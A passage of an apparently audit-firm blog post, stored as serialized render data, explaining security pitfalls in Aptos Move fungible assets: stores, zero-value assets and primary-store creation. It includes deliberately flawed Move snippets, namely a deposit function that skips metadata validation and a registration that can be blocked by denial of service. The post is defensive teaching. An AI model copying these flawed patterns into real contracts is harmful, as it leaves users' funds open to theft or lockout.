deposit",{"type":24,"tag":83,"props":61401,"children":61402},{"style":107},[61403],{"type":29,"value":5552},{"type":24,"tag":83,"props":61405,"children":61406},{"style":3163},[61407],{"type":29,"value":5733},{"type":24,"tag":83,"props":61409,"children":61410},{"style":143},[61411],{"type":29,"value":195},{"type":24,"tag":83,"props":61413,"children":61414},{"style":137},[61415],{"type":29,"value":5677},{"type":24,"tag":83,"props":61417,"children":61418},{"style":107},[61419],{"type":29,"value":6335},{"type":24,"tag":83,"props":61421,"children":61422},{"class":85,"line":113},[61423,61428,61432,61436,61440,61444,61449,61453],{"type":24,"tag":83,"props":61424,"children":61425},{"style":137},[61426],{"type":29,"value":61427},"    sender",{"type":24,"tag":83,"props":61429,"children":61430},{"style":143},[61431],{"type":29,"value":195},{"type":24,"tag":83,"props":61433,"children":61434},{"style":143},[61435],{"type":29,"value":6888},{"type":24,"tag":83,"props":61437,"children":61438},{"style":137},[61439],{"type":29,"value":6893},{"type":24,"tag":83,"props":61441,"children":61442},{"style":107},[61443],{"type":29,"value":568},{"type":24,"tag":83,"props":61445,"children":61446},{"style":137},[61447],{"type":29,"value":61448},"fa",{"type":24,"tag":83,"props":61450,"children":61451},{"style":143},[61452],{"type":29,"value":195},{"type":24,"tag":83,"props":61454,"children":61455},{"style":3163},[61456],{"type":29,"value":61457}," FungibleAsset\n",{"type":24,"tag":83,"props":61459,"children":61460},{"class":85,"line":128},[61461,61465,61469,61473,61477],{"type":24,"tag":83,"props":61462,"children":61463},{"style":107},[61464],{"type":29,"value":633},{"type":24,"tag":83,"props":61466,"children":61467},{"style":137},[61468],{"type":29,"value":6090},{"type":24,"tag":83,"props":61470,"children":61471},{"style":107},[61472],{"type":29,"value":22772},{"type":24,"tag":83,"props":61474,"children":61475},{"style":143},[61476],{"type":29,"value":509},{"type":24,"tag":83,"props":61478,"children":61479},{"style":107},[61480],{"type":29,"value":61481},"] {\n",{"type":24,"tag":83,"props":61483,"children":61484},{"class":85,"line":183},[61485,61490],{"type":24,"tag":83,"props":61486,"children":61487},{"style":101},[61488],{"type":29,"value":61489},"    assert_not_paused",{"type":24,"tag":83,"props":61491,"children":61492},{"style":107},[61493],{"type":29,"value":267},{"type":24,"tag":83,"props":61495,"children":61496},{"class":85,"line":203},[61497],{"type":24,"tag":83,"props":61498,"children":61499},{"style":107},[61500],{"type":29,"value":61501},"    \n",{"type":24,"tag":83,"props":61503,"children":61504},{"class":85,"line":212},[61505,61509,61514,61518,61523,61527,61531,61535,61539,61543],{"type":24,"tag":83,"props":61506,"children":61507},{"style":90},[61508],{"type":29,"value":2746},{"type":24,"tag":83,"props":61510,"children":61511},{"style":137},[61512],{"type":29,"value":61513}," fa_amount",{"type":24,"tag":83,"props":61515,"children":61516},{"style":143},[61517],{"type":29,"value":146},{"type":24,"tag":83,"props":61519,"children":61520},{"style":107},[61521],{"type":29,"value":61522}," fungible_asset",{"type":24,"tag":83,"props":61524,"children":61525},{"style":143},[61526],{"type":29,"value":3226},{"type":24,"tag":83,"props":61528,"children":61529},{"style":101},[61530],{"type":29,"value":20047},{"type":24,"tag":83,"props":61532,"children":61533},{"style":107},[61534],{"type":29,"value":558},{"type":24,"tag":83,"props":61536,"children":61537},{"style":143},[61538],{"type":29,"value":2853},{"type":24,"tag":83,"props":61540,"children":61541},{"style":137},[61542],{"type":29,"value":61448},{"type":24,"tag":83,"props":61544,"children":61545},{"style":107},[61546],{"type":29,"value":581},{"type":24,"tag":83,"props":61548,"children":61549},{"class":85,"line":256},[61550,61554,61559,61563,61568,61572,61577],{"type":24,"tag":83,"props":61551,"children":61552},{"style":90},[61553],{"type":29,"value":2746},{"type":24,"tag":83,"props":61555,"children":61556},{"style":137},[61557],{"type":29,"value":61558}," sender_address",{"type":24,"tag":83,"props":61560,"children":61561},{"style":143},[61562],{"type":29,"value":146},{"type":24,"tag":83,"props":61564,"children":61565},{"style":101},[61566],{"type":29,"value":61567}," address_of",{"type":24,"tag":83,"props":61569,"children":61570},{"style":107},[61571],{"type":29,"value":558},{"type":24,"tag":83,"props":61573,"children":61574},{"style":137},[61575],{"type":29,"value":61576},"sender",{"type":24,"tag":83,"props":61578,"children":61579},{"style":107},[61580],{"type":29,"value":581},{"type":24,"tag":83,"props":61582,"children":61583},{"class":85,"line":270},[61584,61589,61593,61598,61602,61607],{"type":24,"tag":83,"props":61585,"children":61586},{"style":101},[61587],{"type":29,"value":61588},"    check_compliance",{"type":24,"tag":83,"props":61590,"children":61591},{"style":107},[61592],{"type":29,"value":558},{"type":24,"tag":83,"props":61594,"children":61595},{"style":137},[61596],{"type":29,"value":61597},"fa_amount",{"type":24,"tag":83,"props":61599,"children":61600},{"style":107},[61601],{"type":29,"value":568},{"type":24,"tag":83,"props":61603,"children":61604},{"style":137},[61605],{"type":29,"value":61606},"sender_address",{"type":24,"tag":83,"props":61608,"children":61609},{"style":107},[61610],{"type":29,"value":581},{"type":24,"tag":83,"props":61612,"children":61613},{"class":85,"line":302},[61614],{"type":24,"tag":83,"props":61615,"children":61616},{"style":107},[61617],{"type":29,"value":61501},{"type":24,"tag":83,"props":61619,"children":61620},{"class":85,"line":324},[61621,61626,61630,61635,61639,61643,61647,61651],{"type":24,"tag":83,"props":61622,"children":61623},{"style":101},[61624],{"type":29,"value":61625},"    increase_deposit",{"type":24,"tag":83,"props":61627,"children":61628},{"style":107},[61629],{"type":29,"value":558},{"type":24,"tag":83,"props":61631,"children":61632},{"style":101},[61633],{"type":29,"value":61634},"get_vault",{"type":24,"tag":83,"props":61636,"children":61637},{"style":107},[61638],{"type":29,"value":558},{"type":24,"tag":83,"props":61640,"children":61641},{"style":137},[61642],{"type":29,"value":61606},{"type":24,"tag":83,"props":61644,"children":61645},{"style":107},[61646],{"type":29,"value":14918},{"type":24,"tag":83,"props":61648,"children":61649},{"style":137},[61650],{"type":29,"value":61597},{"type":24,"tag":83,"props":61652,"children":61653},{"style":107},[61654],{"type":29,"value":581},{"type":24,"tag":83,"props":61656,"children":61657},{"class":85,"line":345},[61658],{"type":24,"tag":83,"props":61659,"children":61660},{"style":107},[61661],{"type":29,"value":61501},{"type":24,"tag":83,"props":61663,"children":61664},{"class":85,"line":358},[61665,61670,61674,61679,61683,61688,61692,61696],{"type":24,"tag":83,"props":61666,"children":61667},{"style":107},[61668],{"type":29,"value":61669},"    primary_fungible_store",{"type":24,"tag":83,"props":61671,"children":61672},{"style":143},[61673],{"type":29,"value":3226},{"type":24,"tag":83,"props":61675,"children":61676},{"style":101},[61677],{"type":29,"value":61678},"deposit",{"type":24,"tag":83,"props":61680,"children":61681},{"style":107},[61682],{"type":29,"value":558},{"type":24,"tag":83,"props":61684,"children":61685},{"style":101},[61686],{"type":29,"value":61687},"global_vault_address",{"type":24,"tag":83,"props":61689,"children":61690},{"style":107},[61691],{"type":29,"value":18112},{"type":24,"tag":83,"props":61693,"children":61694},{"style":137},[61695],{"type":29,"value":61448},{"type":24,"tag":83,"props":61697,"children":61698},{"style":107},[61699],{"type":29,"value":581},{"type":24,"tag":83,"props":61701,"children":61702},{"class":85,"line":367},[61703],{"type":24,"tag":83,"props":61704,"children":61705},{"style":107},[61706],{"type":29,"value":61501},{"type":24,"tag":83,"props":61708,"children":61709},{"class":85,"line":406},[61710,61715,61719,61724,61728,61733,61737,61741,61745,61749],{"type":24,"tag":83,"props":61711,"children":61712},{"style":107},[61713],{"type":29,"value":61714},"    event",{"type":24,"tag":83,"props":61716,"children":61717},{"style":143},[61718],{"type":29,"value":3226},{"type":24,"tag":83,"props":61720,"children":61721},{"style":101},[61722],{"type":29,"value":61723},"emit",{"type":24,"tag":83,"props":61725,"children":61726},{"style":107},[61727],{"type":29,"value":558},{"type":24,"tag":83,"props":61729,"children":61730},{"style":3163},[61731],{"type":29,"value":61732},"Deposit",{"type":24,"tag":83,"props":61734,"children":61735},{"style":107},[61736],{"type":29,"value":44936},{"type":24,"tag":83,"props":61738,"children":61739},{"style":137},[61740],{"type":29,"value":61606},{"type":24,"tag":83,"props":61742,"children":61743},{"style":107},[61744],{"type":29,"value":568},{"type":24,"tag":83,"props":61746,"children":61747},{"style":137},[61748],{"type":29,"value":61597},{"type":24,"tag":83,"props":61750,"children":61751},{"style":107},[61752],{"type":29,"value":32761},{"type":24,"tag":83,"props":61754,"children":61755},{"class":85,"line":427},[61756],{"type":24,"tag":83,"props":61757,"children":61758},{"style":107},[61759],{"type":29,"value":464},{"type":24,"tag":25,"props":61761,"children":61762},{},[61763],{"type":29,"value":61764},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":24,"tag":25,"props":61766,"children":61767},{},[61768],{"type":29,"value":61769},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":24,"tag":51,"props":61771,"children":61773},{"id":61772},"fungible-stores",[61774],{"type":29,"value":61775},"Fungible stores",{"type":24,"tag":25,"props":61777,"children":61778},{},[61779],{"type":29,"value":61780},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":24,"tag":25,"props":61782,"children":61783},{},[61784,61786,61792],{"type":29,"value":61785},"Meet the ",{"type":24,"tag":32,"props":61787,"children":61789},{"className":61788},[],[61790],{"type":29,"value":61791},"FungibleStore",{"type":29,"value":161},{"type":24,"tag":73,"props":61794,"children":61796},{"className":2725,"code":61795,"language":2724,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[61797],{"type":24,"tag":32,"props":61798,"children":61799},{"__ignoreMap":7},[61800,61824,61851,61871,61890],{"type":24,"tag":83,"props":61801,"children":61802},{"class":85,"line":86},[61803,61807,61812,61816,61820],{"type":24,"tag":83,"props":61804,"children":61805},{"style":90},[61806],{"type":29,"value":9148},{"type":24,"tag":83,"props":61808,"children":61809},{"style":3163},[61810],{"type":29,"value":61811}," FungibleStore",{"type":24,"tag":83,"props":61813,"children":61814},{"style":137},[61815],{"type":29,"value":9157},{"type":24,"tag":83,"props":61817,"children":61818},{"style":137},[61819],{"type":29,"value":5677},{"type":24,"tag":83,"props":61821,"children":61822},{"style":107},[61823],{"type":29,"value":125},{"type":24,"tag":83,"props":61825,"children":61826},{"class":85,"line":113},[61827,61831,61835,61839,61843,61847],{"type":24,"tag":83,"props":61828,"children":61829},{"style":137},[61830],{"type":29,"value":61267},{"type":24,"tag":83,"props":61832,"children":61833},{"style":143},[61834],{"type":29,"value":195},{"type":24,"tag":83,"props":61836,"children":61837},{"style":3163},[61838],{"type":29,"value":61276},{"type":24,"tag":83,"props":61840,"children":61841},{"style":107},[61842],{"type":29,"value":5552},{"type":24,"tag":83,"props":61844,"children":61845},{"style":3163},[61846],{"type":29,"value":61285},{"type":24,"tag":83,"props":61848,"children":61849},{"style":107},[61850],{"type":29,"value":5884},{"type":24,"tag":83,"props":61852,"children":61853},{"class":85,"line":128},[61854,61859,61863,61867],{"type":24,"tag":83,"props":61855,"children":61856},{"style":137},[61857],{"type":29,"value":61858},"    balance",{"type":24,"tag":83,"props":61860,"children":61861},{"style":143},[61862],{"type":29,"value":195},{"type":24,"tag":83,"props":61864,"children":61865},{"style":3163},[61866],{"type":29,"value":5606},{"type":24,"tag":83,"props":61868,"children":61869},{"style":107},[61870],{"type":29,"value":989},{"type":24,"tag":83,"props":61872,"children":61873},{"class":85,"line":183},[61874,61878,61882,61886],{"type":24,"tag":83,"props":61875,"children":61876},{"style":137},[61877],{"type":29,"value":60928},{"type":24,"tag":83,"props":61879,"children":61880},{"style":143},[61881],{"type":29,"value":195},{"type":24,"tag":83,"props":61883,"children":61884},{"style":3163},[61885],{"type":29,"value":11797},{"type":24,"tag":83,"props":61887,"children":61888},{"style":107},[61889],{"type":29,"value":989},{"type":24,"tag":83,"props":61891,"children":61892},{"class":85,"line":203},[61893],{"type":24,"tag":83,"props":61894,"children":61895},{"style":107},[61896],{"type":29,"value":464},{"type":24,"tag":25,"props":61898,"children":61899},{},[61900,61905,61907,61912,61914,61919,61921,61926,61928,61933],{"type":24,"tag":32,"props":61901,"children":61903},{"className":61902},[],[61904],{"type":29,"value":61791},{"type":29,"value":61906}," manages balances and metadata instead of holding the actual ",{"type":24,"tag":32,"props":61908,"children":61910},{"className":61909},[],[61911],{"type":29,"value":61226},{"type":29,"value":61913}," (it can't because ",{"type":24,"tag":32,"props":61915,"children":61917},{"className":61916},[],[61918],{"type":29,"value":61226},{"type":29,"value":61920}," doesn't have ",{"type":24,"tag":32,"props":61922,"children":61924},{"className":61923},[],[61925],{"type":29,"value":5686},{"type":29,"value":61927},"). Withdrawals create temporary ",{"type":24,"tag":32,"props":61929,"children":61931},{"className":61930},[],[61932],{"type":29,"value":61226},{"type":29,"value":61934}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":24,"tag":18531,"props":61936,"children":61937},{},[],{"type":24,"tag":25,"props":61939,"children":61940},{},[61941,61943,61948,61950,61955],{"type":29,"value":61942},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":24,"tag":32,"props":61944,"children":61946},{"className":61945},[],[61947],{"type":29,"value":61226},{"type":29,"value":61949}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":24,"tag":32,"props":61951,"children":61953},{"className":61952},[],[61954],{"type":29,"value":61226},{"type":29,"value":161},{"type":24,"tag":73,"props":61957,"children":61959},{"className":2725,"code":61958,"language":2724,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[61960],{"type":24,"tag":32,"props":61961,"children":61962},{"__ignoreMap":7},[61963,62000,62052,62095,62102,62109,62181,62193,62231,62250,62257],{"type":24,"tag":83,"props":61964,"children":61965},{"class":85,"line":86},[61966,61970,61974,61979,61983,61988,61992,61996],{"type":24,"tag":83,"props":61967,"children":61968},{"style":137},[61969],{"type":29,"value":61390},{"type":24,"tag":83,"props":61971,"children":61972},{"style":137},[61973],{"type":29,"value":5953},{"type":24,"tag":83,"props":61975,"children":61976},{"style":101},[61977],{"type":29,"value":61978}," destroy_zero",{"type":24,"tag":83,"props":61980,"children":61981},{"style":107},[61982],{"type":29,"value":558},{"type":24,"tag":83,"props":61984,"children":61985},{"style":137},[61986],{"type":29,"value":61987},"fungible_asset",{"type":24,"tag":83,"props":61989,"children":61990},{"style":143},[61991],{"type":29,"value":195},{"type":24,"tag":83,"props":61993,"children":61994},{"style":3163},[61995],{"type":29,"value":61255},{"type":24,"tag":83,"props":61997,"children":61998},{"style":107},[61999],{"type":29,"value":253},{"type":24,"tag":83,"props":62001,"children":62002},{"class":85,"line":113},[62003,62007,62011,62015,62019,62023,62028,62032,62036,62040,62044,62048],{"type":24,"tag":83,"props":62004,"children":62005},{"style":90},[62006],{"type":29,"value":2746},{"type":24,"tag":83,"props":62008,"children":62009},{"style":3163},[62010],{"type":29,"value":61255},{"type":24,"tag":83,"props":62012,"children":62013},{"style":107},[62014],{"type":29,"value":9333},{"type":24,"tag":83,"props":62016,"children":62017},{"style":137},[62018],{"type":29,"value":20047},{"type":24,"tag":83,"props":62020,"children":62021},{"style":107},[62022],{"type":29,"value":568},{"type":24,"tag":83,"props":62024,"children":62025},{"style":137},[62026],{"type":29,"value":62027},"metadata",{"type":24,"tag":83,"props":62029,"children":62030},{"style":143},[62031],{"type":29,"value":195},{"type":24,"tag":83,"props":62033,"children":62034},{"style":137},[62035],{"type":29,"value":2782},{"type":24,"tag":83,"props":62037,"children":62038},{"style":107},[62039],{"type":29,"value":35934},{"type":24,"tag":83,"props":62041,"children":62042},{"style":143},[62043],{"type":29,"value":1275},{"type":24,"tag":83,"props":62045,"children":62046},{"style":137},[62047],{"type":29,"value":61522},{"type":24,"tag":83,"props":62049,"children":62050},{"style":107},[62051],{"type":29,"value":321},{"type":24,"tag":83,"props":62053,"children":62054},{"class":85,"line":128},[62055,62060,62064,62068,62072,62076,62081,62085,62090],{"type":24,"tag":83,"props":62056,"children":62057},{"style":101},[62058],{"type":29,"value":62059},"    assert!",{"type":24,"tag":83,"props":62061,"children":62062},{"style":107},[62063],{"type":29,"value":558},{"type":24,"tag":83,"props":62065,"children":62066},{"style":137},[62067],{"type":29,"value":20047},{"type":24,"tag":83,"props":62069,"children":62070},{"style":143},[62071],{"type":29,"value":3028},{"type":24,"tag":83,"props":62073,"children":62074},{"style":245},[62075],{"type":29,"value":248},{"type":24,"tag":83,"props":62077,"children":62078},{"style":107},[62079],{"type":29,"value":62080},", error",{"type":24,"tag":83,"props":62082,"children":62083},{"style":143},[62084],{"type":29,"value":3226},{"type":24,"tag":83,"props":62086,"children":62087},{"style":101},[62088],{"type":29,"value":62089},"invalid_argument",{"type":24,"tag":83,"props":62091,"children":62092},{"style":107},[62093],{"type":29,"value":62094},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":24,"tag":83,"props":62096,"children":62097},{"class":85,"line":183},[62098],{"type":24,"tag":83,"props":62099,"children":62100},{"style":107},[62101],{"type":29,"value":464},{"type":24,"tag":83,"props":62103,"children":62104},{"class":85,"line":203},[62105],{"type":24,"tag":83,"props":62106,"children":62107},{"emptyLinePlaceholder":16},[62108],{"type":29,"value":3422},{"type":24,"tag":83,"props":62110,"children":62111},{"class":85,"line":212},[62112,62116,62120,62125,62129,62133,62137,62141,62145,62149,62153,62157,62161,62165,62169,62173,62177],{"type":24,"tag":83,"props":62113,"children":62114},{"style":137},[62115],{"type":29,"value":61390},{"type":24,"tag":83,"props":62117,"children":62118},{"style":137},[62119],{"type":29,"value":5953},{"type":24,"tag":83,"props":62121,"children":62122},{"style":137},[62123],{"type":29,"value":62124}," zero",{"type":24,"tag":83,"props":62126,"children":62127},{"style":107},[62128],{"type":29,"value":5552},{"type":24,"tag":83,"props":62130,"children":62131},{"style":3163},[62132],{"type":29,"value":5733},{"type":24,"tag":83,"props":62134,"children":62135},{"style":143},[62136],{"type":29,"value":195},{"type":24,"tag":83,"props":62138,"children":62139},{"style":137},[62140],{"type":29,"value":5677},{"type":24,"tag":83,"props":62142,"children":62143},{"style":107},[62144],{"type":29,"value":7358},{"type":24,"tag":83,"props":62146,"children":62147},{"style":137},[62148],{"type":29,"value":62027},{"type":24,"tag":83,"props":62150,"children":62151},{"style":143},[62152],{"type":29,"value":195},{"type":24,"tag":83,"props":62154,"children":62155},{"style":3163},[62156],{"type":29,"value":61276},{"type":24,"tag":83,"props":62158,"children":62159},{"style":107},[62160],{"type":29,"value":5552},{"type":24,"tag":83,"props":62162,"children":62163},{"style":3163},[62164],{"type":29,"value":5733},{"type":24,"tag":83,"props":62166,"children":62167},{"style":107},[62168],{"type":29,"value":8134},{"type":24,"tag":83,"props":62170,"children":62171},{"style":143},[62172],{"type":29,"value":195},{"type":24,"tag":83,"props":62174,"children":62175},{"style":3163},[62176],{"type":29,"value":61255},{"type":24,"tag":83,"props":62178,"children":62179},{"style":107},[62180],{"type":29,"value":125},{"type":24,"tag":83,"props":62182,"children":62183},{"class":85,"line":256},[62184,62189],{"type":24,"tag":83,"props":62185,"children":62186},{"style":3163},[62187],{"type":29,"value":62188},"    FungibleAsset",{"type":24,"tag":83,"props":62190,"children":62191},{"style":107},[62192],{"type":29,"value":125},{"type":24,"tag":83,"props":62194,"children":62195},{"class":85,"line":270},[62196,62201,62205,62210,62214,62219,62223,62227],{"type":24,"tag":83,"props":62197,"children":62198},{"style":137},[62199],{"type":29,"value":62200},"        metadata",{"type":24,"tag":83,"props":62202,"children":62203},{"style":143},[62204],{"type":29,"value":195},{"type":24,"tag":83,"props":62206,"children":62207},{"style":107},[62208],{"type":29,"value":62209}," object",{"type":24,"tag":83,"props":62211,"children":62212},{"style":143},[62213],{"type":29,"value":3226},{"type":24,"tag":83,"props":62215,"children":62216},{"style":101},[62217],{"type":29,"value":62218},"convert",{"type":24,"tag":83,"props":62220,"children":62221},{"style":107},[62222],{"type":29,"value":558},{"type":24,"tag":83,"props":62224,"children":62225},{"style":137},[62226],{"type":29,"value":62027},{"type":24,"tag":83,"props":62228,"children":62229},{"style":107},[62230],{"type":29,"value":6483},{"type":24,"tag":83,"props":62232,"children":62233},{"class":85,"line":302},[62234,62238,62242,62246],{"type":24,"tag":83,"props":62235,"children":62236},{"style":137},[62237],{"type":29,"value":7196},{"type":24,"tag":83,"props":62239,"children":62240},{"style":143},[62241],{"type":29,"value":195},{"type":24,"tag":83,"props":62243,"children":62244},{"style":245},[62245],{"type":29,"value":248},{"type":24,"tag":83,"props":62247,"children":62248},{"style":107},[62249],{"type":29,"value":989},{"type":24,"tag":83,"props":62251,"children":62252},{"class":85,"line":324},[62253],{"type":24,"tag":83,"props":62254,"children":62255},{"style":107},[62256],{"type":29,"value":446},{"type":24,"tag":83,"props":62258,"children":62259},{"class":85,"line":345},[62260],{"type":24,"tag":83,"props":62261,"children":62262},{"style":107},[62263],{"type":29,"value":464},{"type":24,"tag":25,"props":62265,"children":62266},{},[62267],{"type":29,"value":62268},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":24,"tag":25,"props":62270,"children":62271},{},[62272,62274,62279],{"type":29,"value":62273},"In practice, the ability to freely mint and burn zero ",{"type":24,"tag":32,"props":62275,"children":62277},{"className":62276},[],[62278],{"type":29,"value":61368},{"type":29,"value":62280}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":24,"tag":1818,"props":62282,"children":62284},{"id":62283},"primary-and-secondary-stores",[62285],{"type":29,"value":62286},"Primary and secondary stores",{"type":24,"tag":25,"props":62288,"children":62289},{},[62290,62296,62298,62304,62306,62311],{"type":24,"tag":32,"props":62291,"children":62293},{"className":62292},[],[62294],{"type":29,"value":62295},"FungibleStores",{"type":29,"value":62297}," in comparison to ",{"type":24,"tag":32,"props":62299,"children":62301},{"className":62300},[],[62302],{"type":29,"value":62303},"CoinStores",{"type":29,"value":62305}," are not unique. Each user can have multiple ",{"type":24,"tag":32,"props":62307,"children":62309},{"className":62308},[],[62310],{"type":29,"value":61791},{"type":29,"value":62312}," objects for a given token!",{"type":24,"tag":25,"props":62314,"children":62315},{},[62316,62318,62325,62327,62332],{"type":29,"value":62317},"A primary fungible store is maintained via the aptly named ",{"type":24,"tag":2033,"props":62319,"children":62322},{"href":62320,"rel":62321},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[2037],[62323],{"type":29,"value":62324},"primary_fungible_store",{"type":29,"value":62326}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":24,"tag":32,"props":62328,"children":62330},{"className":62329},[],[62331],{"type":29,"value":61285},{"type":29,"value":62333}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":24,"tag":25,"props":62335,"children":62336},{},[62337],{"type":29,"value":62338},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":24,"tag":73,"props":62340,"children":62342},{"className":2725,"code":62341,"language":2724,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[62343],{"type":24,"tag":32,"props":62344,"children":62345},{"__ignoreMap":7},[62346,62371,62403,62426,62442,62496,62511],{"type":24,"tag":83,"props":62347,"children":62348},{"class":85,"line":86},[62349,62353,62358,62362,62367],{"type":24,"tag":83,"props":62350,"children":62351},{"style":137},[62352],{"type":29,"value":61390},{"type":24,"tag":83,"props":62354,"children":62355},{"style":137},[62356],{"type":29,"value":62357}," entry",{"type":24,"tag":83,"props":62359,"children":62360},{"style":137},[62361],{"type":29,"value":5953},{"type":24,"tag":83,"props":62363,"children":62364},{"style":101},[62365],{"type":29,"value":62366}," register",{"type":24,"tag":83,"props":62368,"children":62369},{"style":107},[62370],{"type":29,"value":3208},{"type":24,"tag":83,"props":62372,"children":62373},{"class":85,"line":113},[62374,62379,62383,62387,62391,62395,62399],{"type":24,"tag":83,"props":62375,"children":62376},{"style":137},[62377],{"type":29,"value":62378},"    user",{"type":24,"tag":83,"props":62380,"children":62381},{"style":143},[62382],{"type":29,"value":195},{"type":24,"tag":83,"props":62384,"children":62385},{"style":143},[62386],{"type":29,"value":6888},{"type":24,"tag":83,"props":62388,"children":62389},{"style":137},[62390],{"type":29,"value":6893},{"type":24,"tag":83,"props":62392,"children":62393},{"style":107},[62394],{"type":29,"value":43854},{"type":24,"tag":83,"props":62396,"children":62397},{"style":143},[62398],{"type":29,"value":509},{"type":24,"tag":83,"props":62400,"children":62401},{"style":107},[62402],{"type":29,"value":1453},{"type":24,"tag":83,"props":62404,"children":62405},{"class":85,"line":128},[62406,62410,62414,62418,62422],{"type":24,"tag":83,"props":62407,"children":62408},{"style":107},[62409],{"type":29,"value":633},{"type":24,"tag":83,"props":62411,"children":62412},{"style":137},[62413],{"type":29,"value":6090},{"type":24,"tag":83,"props":62415,"children":62416},{"style":107},[62417],{"type":29,"value":22772},{"type":24,"tag":83,"props":62419,"children":62420},{"style":143},[62421],{"type":29,"value":509},{"type":24,"tag":83,"props":62423,"children":62424},{"style":107},[62425],{"type":29,"value":61481},{"type":24,"tag":83,"props":62427,"children":62428},{"class":85,"line":183},[62429,62434,62438],{"type":24,"tag":83,"props":62430,"children":62431},{"style":107},[62432],{"type":29,"value":62433},"    [",{"type":24,"tag":83,"props":62435,"children":62436},{"style":143},[62437],{"type":29,"value":509},{"type":24,"tag":83,"props":62439,"children":62440},{"style":107},[62441],{"type":29,"value":1453},{"type":24,"tag":83,"props":62443,"children":62444},{"class":85,"line":203},[62445,62449,62454,62458,62463,62467,62471,62475,62479,62483,62487,62492],{"type":24,"tag":83,"props":62446,"children":62447},{"style":90},[62448],{"type":29,"value":2746},{"type":24,"tag":83,"props":62450,"children":62451},{"style":137},[62452],{"type":29,"value":62453}," wallet_store",{"type":24,"tag":83,"props":62455,"children":62456},{"style":143},[62457],{"type":29,"value":146},{"type":24,"tag":83,"props":62459,"children":62460},{"style":101},[62461],{"type":29,"value":62462}," create_primary_store",{"type":24,"tag":83,"props":62464,"children":62465},{"style":107},[62466],{"type":29,"value":6947},{"type":24,"tag":83,"props":62468,"children":62469},{"style":143},[62470],{"type":29,"value":3226},{"type":24,"tag":83,"props":62472,"children":62473},{"style":101},[62474],{"type":29,"value":6956},{"type":24,"tag":83,"props":62476,"children":62477},{"style":107},[62478],{"type":29,"value":558},{"type":24,"tag":83,"props":62480,"children":62481},{"style":137},[62482],{"type":29,"value":61576},{"type":24,"tag":83,"props":62484,"children":62485},{"style":107},[62486],{"type":29,"value":14918},{"type":24,"tag":83,"props":62488,"children":62489},{"style":101},[62490],{"type":29,"value":62491},"get_metadata",{"type":24,"tag":83,"props":62493,"children":62494},{"style":107},[62495],{"type":29,"value":15164},{"type":24,"tag":83,"props":62497,"children":62498},{"class":85,"line":212},[62499,62503,62507],{"type":24,"tag":83,"props":62500,"children":62501},{"style":107},[62502],{"type":29,"value":62433},{"type":24,"tag":83,"props":62504,"children":62505},{"style":143},[62506],{"type":29,"value":509},{"type":24,"tag":83,"props":62508,"children":62509},{"style":107},[62510],{"type":29,"value":1453},{"type":24,"tag":83,"props":62512,"children":62513},{"class":85,"line":256},[62514],{"type":24,"tag":83,"props":62515,"children":62516},{"style":107},[62517],{"type":29,"value":464},{"type":24,"tag":25,"props":62519,"children":62520},{},[62521,62522,62528,62530,62536],{"type":29,"value":16348},{"type":24,"tag":32,"props":62523,"children":62525},{"className":62524},[],[62526],{"type":29,"value":62527},"create_primary_store",{"type":29,"value":62529}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":24,"tag":32,"props":62531,"children":62533},{"className":62532},[],[62534],{"type":29,"value":62535},"ensure_primary_store_exists",{"type":29,"value":62537}," is recommended to avoid such issues.",{"type":24,"tag":51,"props":62539,"children":62541},{"id":62540},"fungible-assets-and-objects",[62542],{"type":29,"value":62543},"Fungible assets and objects",{"type":24,"tag":25,"props":62545,"children":62546},{},[62547,62549,62554,62556,62563],{"type":29,"value":62548},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":24,"tag":32,"props":62550,"children":62552},{"className":62551},[],[62553],{"type":29,"value":48569},{"type":29,"value":62555}," module, introduced in ",{"type":24,"tag":2033,"props":62557,"children":62560},{"href":62558,"rel":62559},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[2037],[62561],{"type":29,"value":62562},"AIP-10",{"type":29,"value":161},{"type":24,"tag":2677,"props":62565,"children":62566},{},[62567],{"type":24,"tag":25,"props":62568,"children":62569},{},[62570,62574],{"type":24,"tag":83,"props":62571,"children":62572},{},[62573],{"type":29,"value":61165},{"type":29,"value":62575}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":24,"tag":25,"props":62577,"children":62578},{},[62579],{"type":29,"value":62580},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":24,"tag":1818,"props":62582,"children":62584},{"id":62583},"creation-and-deletion",[62585],{"type":29,"value":62586},"Creation and deletion",{"type":24,"tag":25,"props":62588,"children":62589},{},[62590,62592,62598],{"type":29,"value":62591},"To create a 